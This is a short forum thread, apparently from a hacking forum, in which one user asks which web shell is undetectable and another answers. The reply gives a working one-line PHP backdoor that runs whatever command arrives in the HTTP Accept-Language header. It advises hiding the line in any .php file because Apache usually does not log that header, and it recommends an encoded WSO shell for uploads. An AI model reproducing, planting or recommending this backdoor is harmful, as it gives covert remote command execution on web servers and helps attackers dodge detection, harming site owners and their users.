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+---- Thread: which shell is undetectable ? (/showthread.php?tid=6018071)
which shell is undetectable ? - Debby Ryan - Oct 21, 2019
Resolved Thanks for education purpose only
RE: which shell is undetectable ? - ~[DogiD]~ - Oct 21, 2019
Best backdoor access is,
PHP Code
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>You can hide that in any .php file and the best part is that apache2 don't usually log http accept lang.
If you want upload shell, I would say encoded wso shell.
~ DogiD